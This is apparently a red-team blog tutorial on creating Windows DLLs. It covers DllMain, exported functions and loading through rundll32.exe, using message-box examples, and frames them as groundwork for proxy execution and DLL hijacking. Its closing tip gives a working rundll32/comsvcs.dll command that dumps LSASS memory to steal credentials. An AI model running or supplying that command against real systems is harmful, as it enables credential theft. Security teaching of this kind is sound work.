aidenpearce369
Published on

Creating your first Offensive DLL

DLL

A DLL, or Dynamic Link Library, is a file that contains code and data that can be used by multiple programs simultaneously. DLLs are an essential part of Windows operating systems and software applications. They allow developers to modularize applications, leading to better memory management, code reuse, and easier maintenance.

Unlike static libraries, which are included in the final executable file, DLLs are separate files that a program links to at runtime. This means that multiple applications can share the same code base without having to include it directly in each executable, saving space and memory.

Many Windows functions are contained in DLLs like kernel32.dll, user32.dll, and gdi32.dll. While DLLs are predominantly used in Windows, similar concepts exist in other operating systems, .so in Unix/Linux systems and .dylib in macOS systems.

DLL Anatomy

When you try to create your first DLL for Windows environment, you need to understand the below basic structure.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

BOOL APIENTRY DllMain( 
  HMODULE hModule,
  DWORD  ul_reason_for_call,
  LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Whenever a DLL is being dynamically used with a code, it is being processed by the loaders. If a code loads/unloads a DLL or if it tries to attach it with another process/thread, it has to cross the DllMain of the target DLL. It is like the main() function of our C code. If the DLL is successfully loaded/unloaded it returns BOOL value.

BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)

The APIENTRY is nothing but a type cast convention to represent it as a Windows API. All the Windows API and APIENTRY will be the type of __stdcall. So DLLs behave similar to the way of Windows APIs in allocating their variable and handling in memory.

// minwindef.h

#elif (_MSC_VER >= 800) || defined(_STDCALL_SUPPORTED)
#define CALLBACK    __stdcall
#define WINAPI      __stdcall
#define WINAPIV     __cdecl
#define APIENTRY    WINAPI
#define APIPRIVATE  __stdcall
#define PASCAL      __stdcall

DWORD ul_reason_for_call parameter (DWORD 32bit) indicates why DllMain is being called, using one of four predefined constants. These constants allow the function to differentiate between different events:

  • DLL_PROCESS_ATTACH: This indicates that the DLL is being loaded into the virtual address space of the current process because of a process start or a call to LoadLibrary. This is typically the time to perform any necessary initialization that needs to happen once per process.

  • DLL_THREAD_ATTACH: This indicates that a new thread is being created within the current process. This happens after DLL_PROCESS_ATTACH, and it's called each time a thread is created. If the DLL needs to allocate thread-specific data, this is the place to do it.

  • DLL_THREAD_DETACH: This indicates that a thread is exiting cleanly. It is a good place to clean up any thread-specific data that was allocated in DLL_THREAD_ATTACH.

  • DLL_PROCESS_DETACH: This indicates that the DLL is being unloaded from the virtual address space of the process because the process is terminating or because the DLL has been explicitly unloaded using FreeLibrary. This is where you should perform cleanup that needs to happen once per process, such as releasing resources, closing handles, etc.

switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Code to run when the DLL is loaded by a process
        break;

    case DLL_THREAD_ATTACH:
        // Code to run when a new thread is created within the process
        break;

    case DLL_THREAD_DETACH:
        // Code to run when a thread exits cleanly
        break;

    case DLL_PROCESS_DETACH:
        // Code to run when the DLL is unloaded from the process
        break;
}

There are no other scenarios to process the DLL entry point. Only these 4 will be used and a return value of BOOL TRUE will be passed when all the scenarios are met. If it returns FALSE it will not be loaded/executed.

The HMODULE hModule represents the base address where the DLL is loaded in memory and it is the handle of the module (current DLL itself). And LPVOID lpReserved is pointer (void*) used to describe how the DLL is used to load into the memory.

When the DLL is loaded using DLL_PROCESS_ATTACH context, if the value of lpReserved is NULL it represent that the DLL was loaded explictly (Eg: By using LoadLibrary() etc) into the memory. If it is not NULL, then it was loaded as a dependency of another module being loaded into the process. During the DLL_PROCESS_DETACH context, if the lpReserved value is NULL then the DLL was unloaded normaly (Eg: Using FreeLibrary() etc). If it is not NULL, then it was unloaded through unhandled way.

rundll32.exe

Before we craft our first DLL, I want you to go through this wonderful binary. rundll32.exe is a Microsoft digitally signed native binary present in all Windows operating systems. This is primarily used to load DLL files and their exported objects. This executable can be easily found in C:\Windows\System32\rundll32.exe or C:\Windows\SysWOW64\rundll32.exe

Verifying its Digital Signature with sigcheck.exe from SysInternals Suite,

C:\Users\aidenpearce369>sigcheck C:\Windows\System32\rundll32.exe

Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\windows\system32\rundll32.exe:
        Verified:       Signed
        Signing date:   12:39 02-07-2024
        Publisher:      Microsoft Windows
        Company:        Microsoft Corporation
        Description:    Windows host process (Rundll32)
        Product:        Microsoft« Windows« Operating System
        Prod version:   10.0.19041.4648
        File version:   10.0.19041.4648 (WinBuild.160101.0800)
        MachineType:    64-bit

From a threat actor perspective, this rundll32.exe can be abused in a lot of ways. It opens a gateway in executing shellcode from a legitimate executable to bypassing AppLocker restricitons, Policy restrictions etc. In lay man terms, it acts like a proxy to execute malicous code in a legitimate way.

Creating our first DLL

Lets start creating our first DLL by exporting a function from it, instead of using those above 4 scenarios. That's right, like a normal program we can have our own exports from our DLL and we can used it laterally anywhere.

extern "C" __declspec(dllexport)

The above is the syntax to be used inside a DLL to declare export functions via C linker.

Let's craft a DLL to pop a Message Box via its exported function.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" __declspec(dllexport) VOID aidenExported(int a)
{
    MessageBoxA(NULL, "OFFSEC@AIDEN", "0x1337", 0);
}

Now after compiling the DLL, when you see the exported functions via dumpbin.exe you should find our exported entry point of the DLL.

G:\RedTeamProjects\DLLCreation\x64\Debug>dumpbin DLLCreation.dll /exports
Microsoft (R) COFF/PE Dumper Version 14.40.33808.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file DLLCreation.dll

File Type: DLL

  Section contains the following exports for DLLCreation.dll

    00000000 characteristics
    FFFFFFFF time date stamp
        0.00 version
           1 ordinal base
           1 number of functions
           1 number of names

    ordinal hint RVA      name

          1    0 0001125D aidenExported = @ILT+600(aidenExported)

  Summary

        1000 .00cfg
        1000 .data
        1000 .idata
        1000 .msvcjmc
        3000 .pdata
        3000 .rdata
        1000 .reloc
        1000 .rsrc
        8000 .text
       10000 .textbss

Lets try to run this via rundll32.exe by pointing the exported entry point,

rundll

So if we just land our malicious DLLs somehow, We can just use it to run our shellcodes by crafting our custom exported entry points.

Attaching DLLs

Now lets craft a DLL which would execute our own code, when it is used in any other process.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "Windows.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "You are injected Bro :-/", "0x1337", 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) VOID aidenExported(int a)
{
    MessageBoxA(NULL, "OFFSEC@AIDEN", "0x1337", 0);
}

Compiling it in the same environment where it will be intended to execute.

G:\RedTeamProjects\DLLCreation\DLLCreation>cl /LD dllmain.cpp /Fetest.dll /link /subsystem:windows user32.lib
Microsoft (R) C/C++ Optimizing Compiler Version 19.29.30154 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

dllmain.cpp
Microsoft (R) Incremental Linker Version 14.29.30154.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/dll
/implib:test.lib
/out:test.dll
/subsystem:windows
user32.lib
dllmain.obj
   Creating library test.lib and object test.exp

Now we have our own malicious DLL to pop a MessageBox when it is attached to a process.

The below code loads the DLL from the path and pops a message box, since we have defined it to execute it from the DLL whenever it is being attached to a process.

#include <windows.h>
#include <stdio.h>

int main() {
    // Path to the DLL
    const char* dllPath = "test.dll";
    printf("[+] Loading DLL %s.\n",dllPath);
    // Load the DLL into process
    HMODULE hDll = LoadLibraryA(dllPath);
    if (hDll == NULL) {
        printf("Error: Could not load the DLL. Error code: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] DLL loaded successfully.\n");
    // Unload the DLL
    if (!FreeLibrary(hDll)) {
        printf("Error: Could not free the DLL. Error code: %lu\n", GetLastError());
    }
    else {
        printf("[+] DLL unloaded successfully.\n");
    }
    return 0;
}

After compiling this we should get an executable. Whenever you try to run the executable, it will search for the test.dll in its path. If not found it will throw an error. If it is found, it will load it in the process and our malicious code gets executed. This is a fundamental basic of DLL Hijacking (will be explained in later blog post).

DLLAttach

Bonus Tip

Tried of dumping LSASS process with Mimikatz. You can use rundll32.exe to leverage the power of C:\windows\System32\comsvcs.dll to perform a mini dump and export it to your own machine.

comsvcs.dll is a crucial system DLL in Windows operating systems that plays a vital role in managing and supporting COM+ (Component Object Model Plus) applications and services. It is a key component for enabling the functionality and management of distributed applications and services in a Windows environment. By feature, this DLL allows us to take a dump of the service process.

PS G:\RedTeamProjects\DLLCreation\LSASS_Dump> rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 984 ./lsass.dmp full
PS G:\RedTeamProjects\DLLCreation\LSASS_Dump> ls


    Directory: G:\RedTeamProjects\DLLCreation\LSASS_Dump


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        31-07-2024     23:59       88828331 lsass.dmp

But this would be effective if any defender products are not active, else it will be logged and stopped.

Detected